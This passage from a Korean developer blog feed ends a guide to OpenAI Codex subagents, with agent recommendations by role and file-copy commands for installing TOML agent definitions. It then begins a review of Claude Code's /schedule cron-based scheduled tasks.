&lt;p style=&quot;margin: 0 0 15px 0;&quot; data-ke-size=&quot;size8&quot;&gt;병렬 에이전트는 동일 작업 대비 단일 에이전트보다 토큰이 더 든다(속도 &amp;uarr;, 비용 &amp;uarr;). &lt;code&gt;gpt-5.4&lt;/code&gt;를 &lt;code&gt;gpt-5.3-codex-spark&lt;/code&gt;로 교체하거나, &lt;code&gt;model_reasoning_effort = &quot;low&quot;&lt;/code&gt;로 낮추면 된다. 단순 작업에는 고성능 모델을 쓰지 않아도 된다.&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 15px 0;&quot; data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-weight: bold; color: #0066cc; margin: 15px 0 5px 0;&quot; data-ke-size=&quot;size8&quot;&gt;Q3. 에이전트가 자꾸 범위를 벗어난 작업을 한다&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 15px 0;&quot; data-ke-size=&quot;size8&quot;&gt;공식 문서 베스트 프랙티스에 따르면 &quot;좋은 에이전트는 좁고 단호하게(narrow and opinionated)&quot; 작성해야 한다. &lt;code&gt;instructions&lt;/code&gt;에 &quot;이 에이전트가 하지 말아야 할 것&quot; 섹션을 명시적으로 추가하라. &lt;code&gt;sandbox_mode = &quot;read-only&quot;&lt;/code&gt;로 쓰기 권한을 제한하는 것도 방법이다.&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 15px 0;&quot; data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-weight: bold; color: #0066cc; margin: 15px 0 5px 0;&quot; data-ke-size=&quot;size8&quot;&gt;Q4. IDE에서는 서브에이전트를 쓸 수 없나?&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 0 0;&quot; data-ke-size=&quot;size8&quot;&gt;현재 공식 문서 기준 서브에이전트 워크플로우는 기본 활성화되어 있다. 다만 서브에이전트 활동 표시는 Codex 앱과 CLI 중심이며, IDE Extension 가시성은 아직 따라오는 중이다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 8px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;9. 결론: 언제 쓰고 언제 쓰지 않는가&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;써야 할 때&lt;/h3&gt;
&lt;ul style=&quot;padding-left: 25px; margin: 10px 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;병렬로 처리할 독립적인 작업이 2개 이상일 때 (탐색 + 분석 + 수정)&lt;/li&gt;
&lt;li&gt;역할별로 다른 권한이 필요할 때 (읽기 전용 감사자 vs 쓰기 개발자)&lt;/li&gt;
&lt;li&gt;CSV 기반의 대규모 반복 작업이 있을 때&lt;/li&gt;
&lt;li&gt;컨텍스트 오염 없이 전문화된 분석이 필요할 때&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;쓰지 않아야 할 때&lt;/h3&gt;
&lt;ul style=&quot;padding-left: 25px; margin: 10px 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;단순하고 빠른 1회성 작업 (서브에이전트 설정 비용이 더 클 때)&lt;/li&gt;
&lt;li&gt;토큰 예산이 빠듯할 때 (병렬 실행은 토큰 증가를 수반)&lt;/li&gt;
&lt;li&gt;작업 간 강한 순서 의존성이 있을 때 (A가 끝나야 B를 시작할 수 있을 때)&lt;/li&gt;
&lt;li&gt;IDE에서&amp;nbsp;서브에이전트&amp;nbsp;활동&amp;nbsp;표시까지&amp;nbsp;완전하게&amp;nbsp;기대하는&amp;nbsp;작업일&amp;nbsp;때&amp;nbsp;(현재&amp;nbsp;가시성은&amp;nbsp;앱/CLI&amp;nbsp;중심)&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px 20px; border-radius: 0 8px 8px 0; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size8&quot;&gt;&lt;b&gt;awesome-codex-subagents의 진짜 가치&lt;/b&gt;는 136개 에이전트 그 자체보다 &lt;b&gt;&quot;TOML로 에이전트를 정의하는 실전 패턴의 레퍼런스&quot;&lt;/b&gt;에 있다. 컬렉션을 그대로 쓰기보다, 자신의 도메인에 맞게 수정하고 팀 저장소에서 버전 관리하는 것이 장기적으로 더 가치 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- Section 10: 개발자+블로거 추천 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 8px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;10. 개인적인 사용 고민 방법 공유&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나의 경우 요즘 가벼운 바이브 코딩 개발, 풀스택 개발자라고 가정하고 어떤것을 쓰면 좋을지 고민해보았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;136개 에이전트를 전부 설치하는 것은 오히려 역효과다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;역할별로 즉시 체감할 수 있는 에이전트를 먼저 골라 실제 루틴에 끼워넣는 것이 현실적일 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;역할별 추천 에이전트 매핑&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px; text-align: left; font-weight: 600;&quot;&gt;작업 영역&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px; text-align: left; font-weight: 600;&quot;&gt;추천 에이전트 (실제 파일명)&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px; text-align: left; font-weight: 600;&quot;&gt;모델&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px; text-align: left; font-weight: 600;&quot;&gt;실제 활용 시나리오&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;b&gt;Next.js 프론트엔드&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;code&gt;nextjs-developer&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;gpt-5.4&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;App Router 마이그레이션, SSR/ISR 전략, 서버 컴포넌트 리팩토링&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;b&gt;Java / Spring Boot&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;code&gt;spring-boot-engineer&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;gpt-5.4&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;Spring Boot 3.x 서비스 설계, JPA N+1 진단, 멀티모듈 구조 검토&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;b&gt;Python / RAG&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;code&gt;python-pro&lt;/code&gt;, &lt;code&gt;llm-architect&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;gpt-5.4&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;RAG 파이프라인 설계, 청킹&amp;middot;임베딩 전략, LangChain/LlamaIndex 통합&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;b&gt;데이터베이스&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;code&gt;database-optimizer&lt;/code&gt;, &lt;code&gt;postgres-pro&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;gpt-5.4&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;인덱스 전략 분석, 슬로우 쿼리 진단, 스키마 마이그레이션 검토&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;b&gt;인프라 / IaC&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;code&gt;devops-engineer&lt;/code&gt;, &lt;code&gt;terraform-engineer&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;gpt-5.4&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;CI/CD 파이프라인 설계, Terraform 모듈 리뷰, 컨테이너 최적화&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;b&gt;소스 리뷰 / 보안&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;code&gt;code-reviewer&lt;/code&gt;, &lt;code&gt;security-auditor&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;gpt-5.4&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;PR 병렬 리뷰(품질+보안 동시), 안티패턴 탐지, 프롬프트 인젝션 스캔&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;color: #666;&quot; data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 30px;&quot; data-ke-size=&quot;size23&quot;&gt;스타터 킷 6 + 확장팩 2&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉시 체감이 큰 7개를 먼저 설치하고, DB&amp;middot;인프라 작업 비중이 높다면 +2 확장팩을 추가한다. 경로는 GitHub API로 직접 검증한 실제 디렉토리 구조다.&lt;/p&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background-color: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; padding: 20px; border-radius: 8px; overflow-x: auto; line-height: 1.6; margin: 15px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;cd awesome-codex-subagents

# ── 스타터 킷 6 (즉시 설치) ──────────────────────────────
cp categories/02-language-specialists/nextjs-developer.toml ~/.codex/agents/
cp categories/02-language-specialists/spring-boot-engineer.toml ~/.codex/agents/
cp categories/02-language-specialists/python-pro.toml ~/.codex/agents/
cp categories/05-data-ai/llm-architect.toml ~/.codex/agents/
cp categories/04-quality-security/code-reviewer.toml ~/.codex/agents/
cp categories/04-quality-security/security-auditor.toml ~/.codex/agents/

# ── 확장팩 +2 (DB&amp;middot;인프라 비중이 높다면 추가) ──────────────
cp categories/05-data-ai/database-optimizer.toml ~/.codex/agents/
cp categories/03-infrastructure/terraform-engineer.toml ~/.codex/agents/&lt;/code&gt;&lt;/pre&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 30px;&quot; data-ke-size=&quot;size23&quot;&gt;워크플로우 예시 : RAG 파이프라인 설계 + 보안 검토&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;RAG 시스템을 설계할 때 아키텍처와 보안을 동시에 검토하는 패턴이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;임베딩 전략&amp;middot;청킹&amp;middot;벡터 DB 선택은 &lt;code&gt;llm-architect&lt;/code&gt;가 담당하고, 프롬프트 인젝션&amp;middot;API 키 노출은 &lt;code&gt;security-auditor&lt;/code&gt;가 독립 컨텍스트에서 스캔한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;두 에이전트 모두 스타터 킷 7에 포함되어 있으므로 별도 설치 없이 바로 실행된다.&lt;/p&gt;
&lt;pre class=&quot;1c&quot; style=&quot;background-color: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; padding: 20px; border-radius: 8px; overflow-x: auto; line-height: 1.6; margin: 15px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# RAG 아키텍처 + 보안 병렬 검토
&quot;현재 rag_service.py를 기반으로 프로덕션 RAG 시스템을 개선하고 싶다.
  - llm-architect가 청킹 전략, 임베딩 모델 선택, 리랭킹 파이프라인을 검토해줘
  - security-auditor가 프롬프트 인젝션, API 키 노출, 입력 검증 취약점을 스캔해줘
  두 검토를 종합해서 개선 우선순위 목록을 만들어줘.&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px 20px; border-radius: 0 8px 8px 0; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size8&quot;&gt;&lt;b&gt;운영 팁&lt;/b&gt;: 코드 작업용 에이전트는 &lt;code&gt;gpt-5.4&lt;/code&gt; + &lt;code&gt;model_reasoning_effort = &quot;high&quot;&lt;/code&gt;로 유지하는 것이 실용적인 균형이다. 두 그룹을 &lt;code&gt;~/.codex/agents/&lt;/code&gt;에 한 번 설치하면 모든 프로젝트에서 재사용된다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- 참고 자료 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 8px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;참고 자료&lt;/h2&gt;
&lt;ul style=&quot;padding-left: 25px; margin: 10px 0; line-height: 2.2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.openai.com/codex/subagents&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;OpenAI Codex Subagents 공식 문서&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.openai.com/codex/concepts/subagents&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;OpenAI Codex Subagents Concepts 공식 문서&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.openai.com/codex/concepts/customization&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;OpenAI Codex Customization 공식 문서&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/VoltAgent/awesome-codex-subagents&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;VoltAgent/awesome-codex-subagents GitHub&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/VoltAgent/awesome-agent-skills&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;VoltAgent/awesome-agent-skills GitHub&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/VoltAgent/awesome-claude-code-subagents&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;VoltAgent/awesome-claude-code-subagents GitHub&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://simonwillison.net/2026/Mar/16/codex-subagents/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Simon Willison - Use subagents and custom agents in Codex (2026-03-16)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://medium.com/@richardhightower/codex-gets-subagents-the-parallel-ai-coding-pattern-is-now-industry-standard-how-does-it-stack-35bd217ef11f&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Rick Hightower - Codex Gets Subagents: The Parallel AI Coding Pattern Is Now The De Facto Industry Standard (2026-03-21)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://deepakness.com/raw/codex-subagents/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Deepakness - Just ask and Codex can now spin up subagents&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://yozm.wishket.com/magazine/detail/3666/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;요즘IT - Codex 서브에이전트 모음집 awesome-codex-subagents 소개&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;!-- 푸터 --&gt;&lt;/div&gt;</description>
      <category>AI/ChatGTP(Codex)</category>
      <category>AI 코딩 자동화</category>
      <category>awesome-codex-subagents</category>
      <category>Claude Code 서브에이전트 비교</category>
      <category>Codex subagents GA</category>
      <category>Codex 서브에이전트</category>
      <category>OpenAI Codex CLI</category>
      <category>TOML 에이전트 설정</category>
      <category>VoltAgent</category>
      <category>병렬 AI 에이전트</category>
      <category>컨텍스트 오염 해결</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/567</guid>
      <comments>https://goddaehee.tistory.com/567#entry567comment</comments>
      <pubDate>Sat, 28 Mar 2026 17:43:43 +0900</pubDate>
    </item>
    <item>
      <title>Claude Code 신기능 'claude code Scheduled Tasks' 리뷰 : 알아서 일하는 동료 AI: Claude Code /schedule로 업무 자동화 하기(Cowork 예약 vs Claude Code)</title>
      <link>https://goddaehee.tistory.com/566</link>
      <description>&lt;div
  style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
  &lt;p data-ke-size=&quot;size8&quot;&gt;&lt;span
      style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif; letter-spacing: 0px;&quot;&gt;안녕하세요!
      갓대희 입니다.&lt;/span&gt;&lt;/p&gt;
  &lt;p data-ke-size=&quot;size8&quot;&gt;&lt;span
      style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif; letter-spacing: 0px;&quot;&gt;노트북을
      닫으면 끝나는 AI는 요즘시에대서는 반쪽짜리 취급을 받을 수 있을 것 같다. 요즘은 스케쥴링이 필수인것 처럼 느껴지기도 한다. OpenClaw가 인기를 끌기시작했을 무렵부터 빠르게 트렌드가 변화하는 것
      같다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div
  style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
  &lt;p data-ke-size=&quot;size8&quot;&gt;이때문인지 Claude Cowork의 스케쥴 태스크가 나온지 얼마 안되 이제 Claude Code또한 &lt;b&gt;혼자서 정해진 시간에 일어나서 일할 수 있게 되었다.&lt;/b&gt;
  &lt;/p&gt;
  &lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2490&quot; data-origin-height=&quot;1412&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kJCxk/dJMcabQ9n4j/VZqYjLBdJOybA6IeSMEsxK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kJCxk/dJMcabQ9n4j/VZqYjLBdJOybA6IeSMEsxK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kJCxk/dJMcabQ9n4j/VZqYjLBdJOybA6IeSMEsxK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkJCxk%2FdJMcabQ9n4j%2FVZqYjLBdJOybA6IeSMEsxK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2490&quot; height=&quot;1412&quot; data-origin-width=&quot;2490&quot; data-origin-height=&quot;1412&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

  &lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;p data-ke-size=&quot;size8&quot;&gt;&lt;code&gt;/schedule&lt;/code&gt; 명령어 하나면 클라우드 크론잡이 만들어지고, 노트북을 닫아도 돌아간다. Anthropic 내부에서도 CI 실패 자동 해결, 문서
    업데이트 자동화에 쓰고 있다고 한다. 이 글에서는 공식 문서를 기반으로 정리해 보려고 한다.&lt;/p&gt;
  &lt;!-- 목차 --&gt;
  &lt;div
    style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
    &lt;h3
      style=&quot;color: #0066cc; margin: 0 0 15px 0; font-size: 18px; border-bottom: 2px solid #cce5ff; padding-bottom: 10px;&quot;
      data-ke-size=&quot;size23&quot;&gt;목차&lt;/h3&gt;
    &lt;ol style=&quot;margin: 0; padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
      &lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Scheduled Tasks 소개
        &lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot;
          data-ke-list-type=&quot;disc&quot;&gt;
          &lt;li&gt;왜 필요한가&lt;/li&gt;
          &lt;li&gt;3가지 스케줄링 방식 비교&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Cloud Scheduled Tasks (/schedule)
        &lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot;
          data-ke-list-type=&quot;disc&quot;&gt;
          &lt;li&gt;생성 방법 (CLI / 웹 / Desktop)&lt;/li&gt;
          &lt;li&gt;스케줄 옵션&lt;/li&gt;
          &lt;li&gt;리포지토리와 브랜치 규칙&lt;/li&gt;
          &lt;li&gt;커넥터와 환경&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Desktop Scheduled Tasks
        &lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot;
          data-ke-list-type=&quot;disc&quot;&gt;
          &lt;li&gt;로컬 vs 리모트&lt;/li&gt;
          &lt;li&gt;권한과 실행 조건&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 5px;&quot;&gt;CLI /loop (세션 내 반복)
        &lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot;
          data-ke-list-type=&quot;disc&quot;&gt;
          &lt;li&gt;문법과 예시&lt;/li&gt;
          &lt;li&gt;cron 도구 (CronCreate/CronList/CronDelete)&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 5px;&quot;&gt;실전 활용 사례&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 5px;&quot;&gt;제한사항 및 주의사항&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 5px;&quot;&gt;트러블슈팅 Q&amp;amp;A&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Cowork(웹) vs Claude Code(CLI) 차이점 정리
        &lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot;
          data-ke-list-type=&quot;disc&quot;&gt;
          &lt;li&gt;두 가이드 비교표&lt;/li&gt;
          &lt;li&gt;언제 어떤 걸 써야 하나&lt;/li&gt;
          &lt;li&gt;비개발자도 쓸 수 있는 활용 사례 (A~D)&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 5px;&quot;&gt;결론&lt;/li&gt;
    &lt;/ol&gt;
  &lt;/div&gt;
  &lt;div
    style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin-bottom: 30px;&quot;&gt;
    &lt;b&gt;Claude Code Scheduled Tasks 가이드&lt;/b&gt;&lt;br /&gt;Claude Code는 3가지 스케줄링 방식을 제공한다: &lt;b&gt;Cloud&lt;/b&gt;(노트북 꺼도 실행),
    &lt;b&gt;Desktop&lt;/b&gt;(앱이 열려 있을 때), &lt;b&gt;/loop&lt;/b&gt;(세션 내). &lt;code&gt;/schedule&lt;/code&gt; 명령어로 클라우드 크론잡을 만들면 노트북을 닫아도 Claude가 혼자 일한다.
    &lt;br /&gt;Pro, Max, Team, Enterprise 모두 사용 가능. (출처: &lt;a
      href=&quot;https://docs.anthropic.com/en/docs/claude-code/scheduled-tasks&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 문서&lt;/a&gt;)
  &lt;/div&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;!-- 섹션 1 --&gt;
  &lt;h2
    style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot;
    data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. Scheduled Tasks 소개&lt;/b&gt;&lt;/h2&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;왜 필요한가&lt;/h3&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;지금까지 Claude Code는 &quot;사용자가 프롬프트를 입력해야 동작하는&quot; 도구였다. 내가 터미널 앞에 앉아 있을
    때만 일한다. 하지만 개발 업무 중에는 &lt;b&gt;사람이 안 봐도 반복적으로 실행되어야 하는 작업&lt;/b&gt;이 있다.&lt;/p&gt;
  &lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
    &lt;li style=&quot;margin-bottom: 8px;&quot;&gt;CI가 깨질 때마다 자동으로 원인 분석 + 수정 PR&lt;/li&gt;
    &lt;li style=&quot;margin-bottom: 8px;&quot;&gt;매일 아침 문서 최신화 체크&lt;/li&gt;
    &lt;li style=&quot;margin-bottom: 8px;&quot;&gt;매주 의존성 업데이트 + 테스트&lt;/li&gt;
    &lt;li style=&quot;margin-bottom: 8px;&quot;&gt;다른 언어 라이브러리의 동기화 (Python &amp;harr; Go 트윈)&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Anthropic 엔지니어가 밝힌 내부 사용 사례가 인상적이다: &lt;i&gt;&quot;우리가 가장 좋아하는 내부 사용 사례
      &amp;mdash; Python 라이브러리를 개발하면서, 스케줄 잡으로 Claude가 Go 트윈 라이브러리를 통째로 유지보수하고 있다.&quot;&lt;/i&gt;&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;3가지 스케줄링 방식
    비교&lt;/h3&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude Code는 세 가지 스케줄링 방식을 제공한다. 각각 실행 환경과 지속성이 다르다. (출처: &lt;a
      href=&quot;https://docs.anthropic.com/en/docs/claude-code/scheduled-tasks&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 문서&lt;/a&gt;)
  &lt;/p&gt;
